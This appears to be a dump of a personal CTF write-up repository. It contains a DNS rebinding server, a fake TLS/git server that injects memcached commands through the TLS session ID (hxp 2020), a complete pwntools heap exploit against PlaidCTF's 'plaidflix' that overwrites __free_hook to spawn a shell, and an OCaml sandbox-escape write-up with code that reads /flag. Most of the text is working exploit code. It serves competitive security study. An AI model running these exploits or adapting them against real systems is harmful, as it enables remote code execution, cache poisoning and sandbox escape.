if query.lower() == to_expected_query(expected_hostname, tp) 75 | ), None) 76 | 77 | answer_count = 0 78 | answer = b'' 79 | 80 | expected_query = to_expected_query(expected_hostname, query_type) if query_type is not None else None 81 | if query_type == A_TYPE: 82 | if args.mode == 'rebinding': 83 | ips = ['127.0.0.1' if os.urandom(1)[0] % 4 == 0 else fake_addr] 84 | elif args.mode == 'static_zero': 85 | ips = [fake_addr, '0.0.0.0'] 86 | else: 87 | raise Exception(f'Unsupported mode: {args.mode}') 88 | 89 | answer_count = len(ips) 90 | answer = pack_a_answer(expected_query, ips) 91 | 92 | print(f'Responded with {ips} to an A query') 93 | else: 94 | print(f'Sending an empty response to unsupported query: {query}') 95 | 96 | # Indicate that this message is a response and copy the "recursion desired" bit from the query. 97 | # Also indicate this is an authoritative response. 98 | # Zero out everything else (in particular, unset the "recursion available" bit). 99 | answer_flags = 0b1000_0100_0000_0000 | (flags & 0b0000_0001_0000_0000) 100 | response_header = struct.pack(header_fmt, transaction_id, answer_flags, query_count, answer_count, 0, 0) 101 | response = b''.join([response_header, query, answer]) 102 | sock.sendto(response, client_addr) -------------------------------------------------------------------------------- /hxp-2020/security scanner/fake_git.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import hashlib 4 | import hmac 5 | import re 6 | import socket 7 | import struct 8 | import time 9 | from Crypto.Cipher import AES 10 | from Crypto.PublicKey import RSA 11 | from dataclasses import dataclass 12 | from pathlib import Path 13 | 14 | 15 | # RFC 5246, section 5 16 | def prf(secret, label, seed, length): 17 | def hmac_sha256(key, msg): 18 | return hmac.digest(key, msg, hashlib.sha256) 19 | 20 | seed = label + seed 21 | 22 | result = b'' 23 | cur_a = seed 24 | while len(result) < length: 25 | cur_a = hmac_sha256(secret, cur_a) 26 | result += hmac_sha256(secret, cur_a + seed) 27 | return result[:length] 28 | 29 | 30 | def to_ad(seq_num, tls_type, tls_version, tls_len): 31 | return struct.pack('>QBHH', seq_num, tls_type, tls_version, tls_len) 32 | 33 | 34 | # Chosen by fair dice roll, guaranteed to be random. 35 | def get_random_bytes(length): 36 | return b'A' * length 37 | 38 | 39 | class TLS: 40 | # in bytes (i.e., this is 4096 bits) 41 | KEY_LENGTH = 512 42 | PKCS_PREFIX = b'\x00\x02' 43 | 44 | # TLS 1.2 45 | VERSION = 0x0303 46 | # TLS_RSA_WITH_AES_128_GCM_SHA256, because we don't care to support the full DH exchange. 47 | CIPHER_SUITE = 0x9c 48 | 49 | CHANGE_CIPHER_SPEC_CONTENT_TYPE = 0x14 50 | ALERT_CONTENT_TYPE = 0x15 51 | HANDSHAKE_CONTENT_TYPE = 0x16 52 | DATA_CONTENT_TYPE = 0x17 53 | 54 | FINISHED_HANDSHAKE_TYPE = 0x14 55 | 56 | @dataclass 57 | class Record: 58 | content_type: int 59 | version: int 60 | data: bytes 61 | 62 | @dataclass 63 | class HandshakeRecord: 64 | handshake_type: int 65 | data: bytes 66 | 67 | @dataclass 68 | class SessionKeys: 69 | master_secret: bytes 70 | client_key: bytes 71 | server_key: bytes 72 | client_salt: bytes 73 | server_salt: bytes 74 | 75 | def __init__(self, socket, priv_key, certs, session_id): 76 | self.socket = socket 77 | self.priv_key = priv_key 78 | self.certs = certs 79 | # Chosen by a fair dice roll. 80 | self.server_random = get_random_bytes(32) 81 | self.session_id = session_id 82 | 83 | self.client_seq_num = 0 84 | self.server_seq_num = 0 85 | self.handshake_log = b'' 86 | 87 | self.session_keys = None 88 | self._shake_hands() 89 | 90 | def _read_record(self, expected_type): 91 | header = self.socket.recv(5) 92 | content_type, version, length = struct.unpack('>BHH', header) 93 | data = self.socket.recv(length) 94 | assert content_type == expected_type, f'Bad content type: got {content_type}, expected {expected_type}' 95 | return TLS.Record(content_type, version, data) 96 | 97 | def _write_record(self, record): 98 | payload = struct.pack('>BHH', record.content_type, record.version, len(record.data)) + record.data 99 | self.socket.send(payload) 100 | 101 | def _read_handshake_record(self, expected_type, decrypt=False): 102 | record = self._read_record(TLS.HANDSHAKE_CONTENT_TYPE) 103 | payload = record.data 104 | if decrypt: 105 | payload = self._decrypt(payload, TLS.HANDSHAKE_CONTENT_TYPE, record.version) 106 | self.handshake_log += payload 107 | header_size = 4 108 | header, *_ = struct.unpack('>I', payload[:header_size]) 109 | handshake_type = header >> 24 110 | assert handshake_type == expected_type, f'Bad handshake type: got {handshake_type}, expected {expected_type}' 111 | length = header & 0xFF_FF_FF 112 | return TLS.HandshakeRecord(handshake_type, payload[header_size:header_size + length]) 113 | 114 | def _write_handshake_record(self, record, encrypt=False): 115 | header = (record.handshake_type << 24) | len(record.data) 116 | payload = struct.pack('>I', header) + record.data 117 | if encrypt: 118 | payload = self._encrypt(payload, TLS.HANDSHAKE_CONTENT_TYPE) 119 | self.handshake_log += payload 120 | self._write_record(TLS.Record(TLS.HANDSHAKE_CONTENT_TYPE, TLS.VERSION, payload)) 121 | 122 | def _get_server_hello(self): 123 | return b''.join([ 124 | struct.pack('>H', TLS.VERSION), 125 | self.server_random, 126 | struct.pack('B', len(self.session_id)), 127 | self.session_id, 128 | # No compression, no extensions. 129 | struct.pack('>HBH', TLS.CIPHER_SUITE, 0, 0), 130 | ]) 131 | 132 | def _get_certificate(self): 133 | def int16_to_int24_bytes(x): 134 | return b'\x00' + struct.pack('>H', x) 135 | 136 | packed_certs = b''.join([ 137 | int16_to_int24_bytes(len(cert)) + cert 138 | for cert in self.certs 139 | ]) 140 | 141 | return int16_to_int24_bytes(len(packed_certs)) + packed_certs 142 | 143 | def derive_keys(self, encrypted_premaster_secret, client_random): 144 | assert len(encrypted_premaster_secret) == TLS.KEY_LENGTH 145 | encrypted_premaster_secret = int.from_bytes(encrypted_premaster_secret, byteorder='big') 146 | premaster_secret = pow(encrypted_premaster_secret, self.priv_key.d, self.priv_key.n).to_bytes(TLS.KEY_LENGTH, byteorder='big') 147 | 148 | assert premaster_secret.startswith(TLS.PKCS_PREFIX) 149 | premaster_secret = premaster_secret[premaster_secret.find(b'\x00', len(TLS.PKCS_PREFIX)) + 1:] 150 | assert len(premaster_secret) == 48 151 | 152 | master_secret = prf(premaster_secret, b'master secret', client_random + self.server_random, 48) 153 | 154 | enc_key_length, fixed_iv_length = 16, 4 155 | expanded_key_length = 2 * (enc_key_length + fixed_iv_length) 156 | key_block = prf(master_secret, b'key expansion', self.server_random + client_random, expanded_key_length) 157 | return TLS.SessionKeys( 158 | master_secret=master_secret, 159 | client_key=key_block[:enc_key_length], 160 | server_key=key_block[enc_key_length:2 * enc_key_length], 161 | client_salt=key_block[2 * enc_key_length:2 * enc_key_length + fixed_iv_length], 162 | server_salt=key_block[2 * enc_key_length + fixed_iv_length:], 163 | ) 164 | 165 | def _get_server_finished(self): 166 | session_hash = hashlib.sha256(self.handshake_log).digest() 167 | return prf(self.session_keys.master_secret, b'server finished', session_hash, 12) 168 | 169 | def _encrypt(self, data, tls_type): 170 | explicit_nonce = get_random_bytes(8) 171 | cipher = AES.new(self.session_keys.server_key, AES.MODE_GCM, nonce=self.session_keys.server_salt + explicit_nonce) 172 | cipher.update(to_ad(self.server_seq_num, tls_type, TLS.VERSION, len(data))) 173 | ciphertext, tag = cipher.encrypt_and_digest(data) 174 | self.server_seq_num += 1 175 | return explicit_nonce + ciphertext + tag 176 | 177 | def _decrypt(self, data, tls_type, tls_version): 178 | cipher = AES.new(self.session_keys.client_key, AES.MODE_GCM, nonce=self.session_keys.client_salt + data[:8]) 179 | ciphertext = data[8:-16] 180 | tag = data[-16:] 181 | cipher.update(to_ad(self.client_seq_num, tls_type, tls_version, len(ciphertext))) 182 | self.client_seq_num += 1 183 | return cipher.decrypt_and_verify(ciphertext, tag) 184 | 185 | def read(self): 186 | record = self._read_record(TLS.DATA_CONTENT_TYPE) 187 | payload = self._decrypt(record.data, TLS.DATA_CONTENT_TYPE, record.version) 188 | print(f'Got a message of length {len(payload)}') 189 | return payload 190 | 191 | def write(self, msg): 192 | payload = self._encrypt(msg, TLS.DATA_CONTENT_TYPE) 193 | self._write_record(TLS.Record(TLS.DATA_CONTENT_TYPE, TLS.VERSION, payload)) 194 | print(f'Sent a message of length {len(payload)}') 195 | 196 | def _shake_hands(self): 197 | client_hello = self._read_handshake_record(0x1).data 198 | client_random = client_hello[2:2 + 32] 199 | print(f'Got client hello') 200 | 201 | self._write_handshake_record(TLS.HandshakeRecord(0x2, self._get_server_hello())) 202 | print(f'Sent server hello with session id {self.session_id}') 203 | 204 | self._write_handshake_record(TLS.HandshakeRecord(0xb, self._get_certificate())) 205 | print(f'Sent {len(self.certs)} certificates') 206 | 207 | self._write_handshake_record(TLS.HandshakeRecord(0xe, b'')) 208 | print(f'Sent server hello done') 209 | 210 | # Skip the redundant premaster secret length. 211 | encrypted_premaster_secret = self._read_handshake_record(0x10).data[2:] 212 | print(f'Got a premaster secret') 213 | self.session_keys = self.derive_keys(encrypted_premaster_secret, client_random) 214 | 215 | self._read_record(TLS.CHANGE_CIPHER_SPEC_CONTENT_TYPE) 216 | client_finished = self._read_handshake_record(TLS.FINISHED_HANDSHAKE_TYPE, decrypt=True) 217 | print(f'Got client finished') 218 | 219 | self._write_record(TLS.Record(TLS.CHANGE_CIPHER_SPEC_CONTENT_TYPE, TLS.VERSION, b'\x01')) 220 | server_finished = TLS.HandshakeRecord(TLS.FINISHED_HANDSHAKE_TYPE, self._get_server_finished()) 221 | self._write_handshake_record(server_finished, encrypt=True) 222 | print(f'Sent server finished, the connection is ready') 223 | 224 | 225 | def get_http_response(code, headers, content): 226 | headers.update({ 227 | 'Connection': 'close', 228 | 'Content-Length': str(len(content)), 229 | }) 230 | 231 | return '\r\n'.join([ 232 | f'HTTP/1.1 {code} Whatever', 233 | '\r\n'.join([ 234 | f'{k}: {v}' for k, v in headers.items() 235 | ]), 236 | '', 237 | content, 238 | ]).encode() 239 | 240 | 241 | if __name__ == '__main__': 242 | p = argparse.ArgumentParser() 243 | p.add_argument('key') 244 | p.add_argument('cert') 245 | p.add_argument('--port', type=int, default=11211) 246 | args = p.parse_args() 247 | 248 | priv_key = RSA.import_key(Path(args.key).read_text()) 249 | certs = [ 250 | base64.b64decode(''.join( 251 | cert_line 252 | for cert_line in cert.splitlines() 253 | if not cert_line.startswith('-') 254 | )) 255 | for cert in Path(args.cert).read_text().split('\n\n') 256 | ] 257 | 258 | while True: 259 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 260 | server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 261 | server_socket.bind(('0.0.0.0', args.port)) 262 | server_socket.listen(1) 263 | 264 | print('Welcome to FakeGIT') 265 | 266 | should_serve = True 267 | session_id = b'' 268 | 269 | while should_serve: 270 | client_socket, address = server_socket.accept() 271 | print(f'Got a connection from {address}') 272 | tls = TLS(client_socket, priv_key, certs, session_id) 273 | 274 | http_request = tls.read() 275 | if b'User-Agent: git' in http_request: 276 | print('This is git! Redirecting it back to memcached and shutting down') 277 | assert session_id, 'Session id should have been set at this point' 278 | headers = { 279 | 'Location': f'https://fakegit.cursed.page:{args.port}/pwned', 280 | } 281 | tls.write(get_http_response(302, headers, '')) 282 | should_serve = False 283 | else: 284 | print('This is PHP! Showing them something that looks like a git repo and stealing sandbox ID') 285 | 286 | b64_sandbox_id = re.search(b'GET /(.{14})/', http_request).group(1) 287 | while len(b64_sandbox_id) % 4 != 0: 288 | b64_sandbox_id += b'=' 289 | sandbox_id = base64.b64decode(b64_sandbox_id) 290 | assert len(sandbox_id) == 10, f'The sandbox id should have exactly 10 bytes, got: {sandbox_id}' 291 | session_id = b'\r\nset ' + sandbox_id + b';/r* 0 0 2\r\nOK\r\n' 292 | assert len(session_id) == 32, f'The session should have exactly 32 bytes, got: {session_id}' 293 | print(f'Got sandbox id: {sandbox_id}, session_id: {session_id}') 294 | 295 | fake_git = '001e# service=git-upload-pack\n' 296 | tls.write(get_http_response(200, {}, fake_git)) 297 | 298 | client_socket.close() 299 | 300 | server_socket.close() 301 | print('Laying low for 5 seconds so that the git client doesn\'t reconnect to us') 302 | time.sleep(5) 303 | -------------------------------------------------------------------------------- /hxp-2020/security scanner/good_workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/hxp-2020/security scanner/good_workflow.png -------------------------------------------------------------------------------- /hxp-2020/security scanner/tls_poison.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/hxp-2020/security scanner/tls_poison.png -------------------------------------------------------------------------------- /plaid-2021/plaidflix/sln.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import re 3 | 4 | 5 | class MenuNavigator: 6 | def __init__(self): 7 | self.p = remote('plaidflix.pwni.ng', '1337') 8 | 9 | def read_prompt(self): 10 | menu_str = self.p.recvuntil('\n> ') 11 | self.menu = {} 12 | for line in menu_str.splitlines(): 13 | if (m := re.search(b'^(\\d) - (.*)$', line)) is not None: 14 | self.menu[m.group(2)] = m.group(1) 15 | return menu_str 16 | 17 | def send_option(self, option): 18 | assert option in self.menu, self.menu 19 | self.p.sendline(self.menu[option]) 20 | return self.read_prompt() 21 | 22 | def send_raw(self, s): 23 | self.p.sendline(s) 24 | return self.read_prompt() 25 | 26 | def add_friend(self, chunk_size): 27 | self.send_option(b'Manage friends') 28 | self.send_option(b'Add friend') 29 | self.send_raw(f'{chunk_size - 0x10 - 1}'.encode()) 30 | self.send_raw(b'FRIEND') 31 | 32 | def remove_friend(self, idx): 33 | self.send_option(b'Manage friends') 34 | self.send_option(b'Remove friend') 35 | self.send_raw(f'{idx}'.encode()) 36 | 37 | def add_movie(self): 38 | self.send_option(b'Manage movies') 39 | self.send_option(b'Add movie') 40 | self.send_raw(b'MOVIE') 41 | self.send_raw(b'5') 42 | 43 | def remove_movie(self, idx): 44 | self.send_option(b'Manage movies') 45 | self.send_option(b'Remove movie') 46 | self.send_raw(f'{idx}'.encode()) 47 | 48 | def share_movie(self, movie_idx, friend_idx): 49 | self.send_option(b'Manage movies') 50 | self.send_option(b'Share movie with a friend') 51 | self.send_raw(f'{movie_idx}'.encode()) 52 | self.send_raw(f'{friend_idx}'.encode()) 53 | 54 | def show_movies(self): 55 | self.send_option(b'Manage movies') 56 | return self.send_option(b'Show movies') 57 | 58 | def add_feedback(self, content): 59 | self.send_option(b'Add feedback') 60 | self.send_raw(content) 61 | 62 | def remove_feedback(self, idx): 63 | self.send_option(b'Delete feedback') 64 | self.send_raw(f'{idx}'.encode()) 65 | 66 | def add_contact_details(self, content): 67 | self.send_option(b'Add contact details') 68 | self.send_raw(content) 69 | 70 | 71 | MAX_FRIEND_COUNT = 8 72 | TCACHE_LIMIT = 7 73 | MAX_FEEDBACK_COUNT = 10 74 | 75 | 76 | def leak_addrs(mn): 77 | # Set up the heap leak: friend #0's chunk pointer (ch) ends up in a tcache bin. 78 | # Since there are no more chunks in the bin, ch->fwd == NULL. 79 | # However, the real value of ch->fwd in memory is not NULL, but 80 | # PROTECT_PTR(ch, NULL) == (ch >> 12) ^ NULL == ch >> 12. 81 | # 82 | # In other words, in this particular scenario, PROTECT_PTR() reveals 83 | # the heap pointer entirely instead of protecting it. 84 | mn.add_friend(0x40) 85 | mn.add_movie() 86 | mn.share_movie(0, 0) 87 | mn.remove_friend(0) 88 | 89 | # Set up the libc leak. First, allocate as many friend chunks as possible. 90 | # We want them to be large, so that they *don't* end up in a fast bin 91 | # when freed. 92 | for _ in range(MAX_FRIEND_COUNT): 93 | mn.add_friend(0x90) 94 | 95 | # In addition to leaking a libc pointer, this movie is a padding to prevent 96 | # the friend chunks from being consolidated with the top chunk when they 97 | # are freed. 98 | # 99 | # Therefore, it's important to allocate it *before* we start freeing friends. 100 | mn.add_movie() 101 | max_friend_idx = MAX_FRIEND_COUNT - 1 102 | mn.share_movie(1, max_friend_idx) 103 | 104 | # Free all friends. First 7 chunks end up in a tcache bin, but friend chunk #8 105 | # ends up in the unsorted bin. This means its fd and bk pointers point to 106 | # main_arena.bins[0] -- an address in libc. 107 | # 108 | # However, in Ubuntu 20.10, the first (little-endian) byte of this address 109 | # before ASLR is 0. Since ASLR is not applied to the first byte of the address, 110 | # it always remains 0, so the address can't be leaked with printf("%s", ...). 111 | for idx in range(MAX_FRIEND_COUNT): 112 | mn.remove_friend(idx) 113 | 114 | # To work around that, allocate a dummy friend chunk which is slightly 115 | # larger than what we used before. We don't care about what happens to 116 | # this larger dummy chunk. The only thing what matters is that glibc 117 | # tries to re-use the chunk that is stuck in the unsorted bin, 118 | # fails because the chunk is too small, and moves it to one of the small bins. 119 | # 120 | # To be precise, the moved chunk now points to main_arena.bins[16]. 121 | # This is still an address in glibc, but a one that we can leak, since 122 | # its first (little-endian) byte is not 0. 123 | mn.add_friend(0xa0) 124 | 125 | leaks = [] 126 | for line in mn.show_movies().splitlines(): 127 | if (m := re.search(b'^\\* Shared with: (.*)$', line)) is not None: 128 | leaks.append(unpack(m.group(1), 'all')) 129 | return leaks 130 | 131 | 132 | def pop_shell(mn, heap_base, libc_base): 133 | mn.send_option(b'Delete Account') 134 | mn.send_raw(b'y') 135 | 136 | # This is more or less House of Botcake: 137 | # https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c 138 | # We only interact with two bins: the tcache bin for size 0x110 (the size of feedback) 139 | # and the unsorted bin. 140 | 141 | # Fill every chunk with the payload for system(), so that we don't have to care which 142 | # chunk we use to pop shell. 143 | for idx in range(MAX_FEEDBACK_COUNT): 144 | mn.add_feedback('/bin/sh') 145 | 146 | # The tcache bin is now full. 147 | for idx in range(TCACHE_LIMIT): 148 | mn.remove_feedback(idx) 149 | 150 | # Put the second-to-last and third-to-last chunks into the unsorted bin. 151 | # glibc helpfully consolidates them into a free megachunk of size 0x110 * 2. 152 | # The last chunk serves as a padding to prevent the megachunk from consolidating 153 | # with the top chunk. 154 | mn.remove_feedback(TCACHE_LIMIT) 155 | mn.remove_feedback(TCACHE_LIMIT + 1) 156 | 157 | # Add a dummy feedback to free up some space in the tcache bin. 158 | mn.add_feedback(b'DUMMY') 159 | # The actual vulnerability: we can free the second-to-last chunk twice. 160 | # glibc puts it into the tcache bin, but it remains a part of the megachunk. 161 | mn.remove_feedback(TCACHE_LIMIT + 1) 162 | 163 | # By allocating contact details (a chunk of size 0x130) from the megachunk, we are able 164 | # to modify the second-to-last chunk in the tcache bin in to point at __free_hook as its next chunk. 165 | free_hook_ptr = libc_base + 0x1e6e40 166 | system_ptr = libc_base + 0x503c0 167 | 168 | # Since fd pointers in the tcache bin are protected by PROTECT_PTR(), we need to protect 169 | # our pointer to __free_hook, using the leaked heap base. 170 | chunk_next_ptr = heap_base + 0x1240 171 | protected_free_hook_ptr = (chunk_next_ptr >> 12) ^ free_hook_ptr 172 | 173 | evil_details = b''.join([ 174 | # Overwrite the third-to-last chunk with CC bytes for visual debugging. 175 | b'\xCC' * 0x100, 176 | # prev_size of the second-to-last chunk. 177 | p64(0x0), 178 | # size of the second-to-last chunk. 179 | p64(0x110), 180 | # fd pointer of the second-to-last chunk. 181 | p64(protected_free_hook_ptr), 182 | ]) 183 | mn.add_contact_details(evil_details) 184 | 185 | # Pop the second-to-last chunk off the tcache bin and ignore it. 186 | mn.add_feedback(b'DUMMY') 187 | # Pop __free_hook off the tcache bin and set it to the address of system(). 188 | mn.add_feedback(p64(system_ptr)) 189 | 190 | # We now free the very last chunk (that served as padding) to call __free_hook("/bin/sh"). 191 | mn.p.sendline(b'1') 192 | mn.p.sendline('9'.encode()) 193 | mn.p.interactive() 194 | 195 | 196 | if __name__ == '__main__': 197 | mn = MenuNavigator() 198 | mn.read_prompt() 199 | mn.send_raw(b'dfyz') 200 | 201 | heap_leak, libc_leak = leak_addrs(mn) 202 | # heap_leak is the result of PROTECT_PTR(some_heap_addr, NULL), 203 | # which is exactly the randomized part of heap addresses. 204 | heap_base = heap_leak << 12 205 | # libc_leak is the address of one of the small bins from the main arena. 206 | libc_base = libc_leak - 0x1e3c80 207 | print(f'heap base: {heap_base:x}') 208 | print(f'glibc base: {libc_base:x}') 209 | 210 | pop_shell(mn, heap_base, libc_base) 211 | -------------------------------------------------------------------------------- /plaid-2021/sos/README.md: -------------------------------------------------------------------------------- 1 | Secure OCaml Sandbox 2 | --- 3 | 4 | Our objective in this `pwn` challenge from [PlaidCTF 2021](https://ctftime.org/event/1199) is to upload an arbitrary OCaml program that reads the flag from `/flag` and prints it to stdout. 5 | That wouldn't be very interesting if it wasn't for the heavily restricted version of the standard library our program is sandboxed with: 6 | ```ocaml 7 | open struct 8 | let blocked = `Blocked 9 | 10 | module Blocked = struct 11 | let blocked = blocked 12 | end 13 | end 14 | 15 | module Fixed_stdlib = struct 16 | let open_in = blocked 17 | let open_in_bin = blocked 18 | let open_in_gen = blocked 19 | (* ...~150 more similar lines... *) 20 | end 21 | 22 | include Fixed_stdlib 23 | ``` 24 | 25 | Pretty much everything even tangentially related to IO is mercilessly stripped away. 26 | Unsafe functions, such as `Array.unsafe_get`, which could allow us to subvert the type system and execute arbitrary code, are also banned. 27 | 28 | So, how do we escape the sandbox to read the flag? 29 | 30 | Before we get to the final exploit, I want to briefly discuss a couple of unintended solutions, 31 | and also our failed attempts at breaking out of the sandbox. If you're only interested in the solution our team came up with, you can jump directly to that. 32 | 33 | Insecure OCaml Sandbox 34 | --- 35 | 36 | The first unintended solution was discovered during the event by some of the teams. PPP published a fixed version promptly, 37 | and the diff with the original version is mostly self-explanatory: 38 | ```diff 39 | --- sos/main 2021-04-12 09:28:12.000000000 +0500 40 | +++ sos-mirage/main 2021-04-17 03:48:57.000000000 +0500 41 | @@ -7,6 +7,6 @@ 42 | exit 1 43 | fi 44 | 45 | -echo "open! Sos" > user/exploit.ml 46 | +echo "open! Sos;;" > user/exploit.ml 47 | cat /input/exploit.ml >> user/exploit.ml 48 | dune exec user/exploit.exe 49 | ``` 50 | 51 | `open! Sos` is the line prepended to your program to make it use the sandboxed standard library. 52 | Without the trailing `;;`, you could start the malicious program with something like `.Fixed_uchar` 53 | to only import one of the submodules of the patched standard library instead of the whole deal. 54 | The rest is trivial. 55 | 56 | The second unintended (I believe) solution comes from [SECCON 2020 writeups](https://moraprogramming.hateblo.jp/entry/2020/10/14/185946), which apparently 57 | had a challenge named `mlml` with an even stonger OCaml sandbox. Their reference solution uses the unsound implementation of pattern matching in 58 | the OCaml compiler to achieve RCE. While extremely clever and cool, I doubt that PPP wanted us to essentially copy/paste an existing snippet of code 59 | with minor modifications. Besides, there's little point in elaborately patching the stdlib if all you wanted to target was the compiler. 60 | 61 | 62 | Fumbling around 63 | --- 64 | 65 | Blissfully unaware of both unintended solutions, we tried the following approaches during the CTF, all of which failed: 66 | * Calling libc functions directly from OCaml. This was out of question, because the runner script (`main` from the above) straight up rejects any program containing `external` (the OCaml [keyword](https://ocaml.org/manual/intfc.html) for FFI) as a substring. 67 | * Trying to find any `unsafe` functions that slipped through the sandbox. There was indeed at least [one](https://github.com/ocaml/ocaml/blob/4.10/stdlib/array.ml#L28), but it proved impossible to use, as the same runner script also refused to run any program containing `unsafe`. 68 | * Abusing `Digest.file`, which wasn't banned and allowed us to compute MD5 of an arbitrary file. Later, it turned out that another team actually came up with an [ingenious solution](http://eternal.red/2021/secure-ocaml-sandbox/) using `Digest.file`, but we failed to extract anything useful out of this primitive. 69 | * Using the `OO` module, which in particular has a tempting `new_method` function that is marked as `[...] for system use only. Do not call directly.`. In fact, [the implementation](https://github.com/ocaml/ocaml/blob/4.10/stdlib/camlinternalOO.ml#L70) doesn't create any methods and consists of boring string manipulations. 70 | * Leaking the flag through `Lexing.position`, which describes `a point in a source file` and has a `pos_fname` field, which references a file. This also proved to be a dead-end, since `Lexing` doesn't do anything interesting with `pos_fname`. 71 | * Exploiting [unsoundness](https://github.com/ocaml/ocaml/issues/9391) in `Ephemeron`. This seemed quite promising, since we were able to reliably segfault the sample program from the issue description. However, we didn't explore it further, because at this moment... 72 | 73 | 74 | It all comes together 75 | --- 76 | ...we hit [the jackpot](https://github.com/ocaml/ocaml/blob/4.10/stdlib/callback.mli#L23): `Callback.register`. It stores an arbitrary value (typically a function) under a certain `name`. The OCaml C runtime can then retrieve and use the value via `caml_named_value(name)`. Crucially, it's on the programmer to 77 | ensure that all values and function signatures use the correct types. Type mismatches result in undefined behavior and spectacular segfaults, which is exactly what we need for our exploit. 78 | 79 | Looking at usages of `caml_named_value()` in the OCaml runtime, we found a perfect match: 80 | * [`Printexc.handle_uncaught_exception`](https://github.com/ocaml/ocaml/blob/4.10/runtime/printexc.c#L143) allows us to register a handler for an unhandled exception. The handler receives a pointer to the uncaught exception as its first parameter. 81 | * [`Pervasives.array_bound_error`](https://github.com/ocaml/ocaml/blob/4.10/runtime/fail_nat.c#L192) allows us to override the singleton object the runtime uses to represent the exception that is raised whenever we overstep array bounds. 82 | 83 | Combining these two, we craft us a type confusion primitive: register an object of type `A` as `Pervasive.array_bound_error`, then use it as an object of type `B ref` in the exception handler for out-of-bounds accesses. Here's a quick demo with `A = float, B = int`: 84 | ```ocaml 85 | let oob () = "".[1] 86 | 87 | let y = 1.5E-323;; 88 | let g (x: int ref) _ = print_endline (string_of_int !x);; 89 | 90 | Callback.register "Pervasives.array_bound_error" y; 91 | Callback.register "Printexc.handle_uncaught_exception" g; 92 | oob () 93 | ``` 94 | 95 | Both `y` and `!x` have the same bit representation, but different types and hence different values: 96 | 97 | ![Type confusion](sos.001.png) 98 | 99 | Notice that even though the bit pattern was `00...011`, `g` prints `1` instead of the more expected `3`. Turns out that OCaml unboxes integers for performance and stores them [`shifted left by 1 bit, with the least significant bit set to 1`](https://dev.realworldocaml.org/runtime-memory-layout.html#table20-1_ocaml) to distinguish them from object references. This is going to be somewhat important for our exploit. 100 | 101 | With all the necessary machinery in place, the idea of the exploit is straightforward: 102 | * a function call is essentially dereferencing a pointer; 103 | * we obtain a pointer to one of the benign, boring functions from the stdlib, e.g. `do_at_exit`; 104 | * reinterpret the function pointer as an integer and add a statically known offset to make the pointer point at an evil 𝔽𝕆ℝ𝔹𝕀𝔻𝔻𝔼ℕ function, e.g. `open_in`; 105 | * convert the integer back to a function pointer by registering a second callback; 106 | * use `open_in` to open and read the flag. 107 | 108 | The same thing, but in a picture: 109 | 110 | ![Changing the pointer](sos.002.png) 111 | 112 | 113 | And finally, the code, which is not that different from the demo above: 114 | ```ocaml 115 | let print_flag do_open _ = print_endline (input_line (do_open "/flag")) 116 | let oob () = "".[1] 117 | 118 | let g exit _ = 119 | exit := !exit - 1416; 120 | Callback.register "Printexc.handle_uncaught_exception" print_flag; 121 | oob ();; 122 | 123 | Callback.register "Pervasives.array_bound_error" do_at_exit; 124 | Callback.register "Printexc.handle_uncaught_exception" g; 125 | oob () 126 | ``` 127 | 128 | The only catch is that the difference between `do_at_exit` and `open_in` is `2832` bytes, but we have to use half of that in the exploit (remember the way integers are stored in OCaml?). 129 | 130 | All in all, this challenge was surprisingly exciting and elegant (if a little undertested). I'm generally wary of "escape the sandbox" tasks, but this one managed to have just the right amount of `pwn` and the right amount of sandbox. Kudos to the creators! 131 | -------------------------------------------------------------------------------- /plaid-2021/sos/sos.001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/plaid-2021/sos/sos.001.png -------------------------------------------------------------------------------- /plaid-2021/sos/sos.002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/plaid-2021/sos/sos.002.png -------------------------------------------------------------------------------- /potluck-2023/auxv/0001-Store-the-open-file-descriptors-of-the-process-in-it.patch: -------------------------------------------------------------------------------- 1 | From a17c4536ad5018e7298120f94721a59eb2bacaa2 Mon Sep 17 00:00:00 2001 2 | From: Ivan Komarov 3 | Date: Tue, 26 Sep 2023 15:52:25 +0200 4 | Subject: [PATCH 1/1] Store the open file descriptors of the process in its 5 | auxiliary table 6 | 7 | Currently, checking if an integer refers to an open file descriptor 8 | requires a syscall (e.g., `fcntl(fd, F_GETFL)`). To avoid this, 9 | store all open file descriptors in the auxiliary table, using 10 | keys in `[AT_FIRST_OPEN_FD; AT_FIRST_OPEN_FD + AT_MAX_FDS)`, 11 | which userspace can then retrieve with `getauxval()`. 12 | 13 | An example userspace program: 14 | 15 | int main() { 16 | for (unsigned long key = AT_FIRST_OPEN_FD; key < AT_FIRST_OPEN_FD + AT_MAX_FDS; ++key) { 17 | unsigned long val = getauxval(key); 18 | if (val != 0) { 19 | printf("Open FD: %d\n", (int)(val - 1)); 20 | } 21 | } 22 | return 0; 23 | } 24 | 25 | Run it like this: 26 | 27 | ./test 42<./test 28 | 29 | To get an output like this: 30 | 31 | Open FD: 0 32 | Open FD: 1 33 | Open FD: 2 34 | Open FD: 42 35 | 36 | Note that since 0 is not a valid auxv value, you need to subtract one 37 | from the `getauxval()` result. 38 | 39 | If there is more than AT_MAX_FDS descriptors open, this initial 40 | implementation only stores the first AT_MAX_FDS descriptiors in 41 | the auxiliary table and completely ignores the rest. We assume 42 | this is not a problem for sane userspace programs that operate 43 | on a couple of dozen descriptors at most. 44 | --- 45 | fs/binfmt_elf.c | 27 ++++++++++++++++++++++++--- 46 | include/linux/mm_types.h | 2 +- 47 | include/uapi/linux/auxvec.h | 3 +++ 48 | 3 files changed, 28 insertions(+), 4 deletions(-) 49 | 50 | diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c 51 | index e6c9c0e08448..d96da5997e79 100644 52 | --- a/fs/binfmt_elf.c 53 | +++ b/fs/binfmt_elf.c 54 | @@ -46,6 +46,7 @@ 55 | #include 56 | #include 57 | #include 58 | 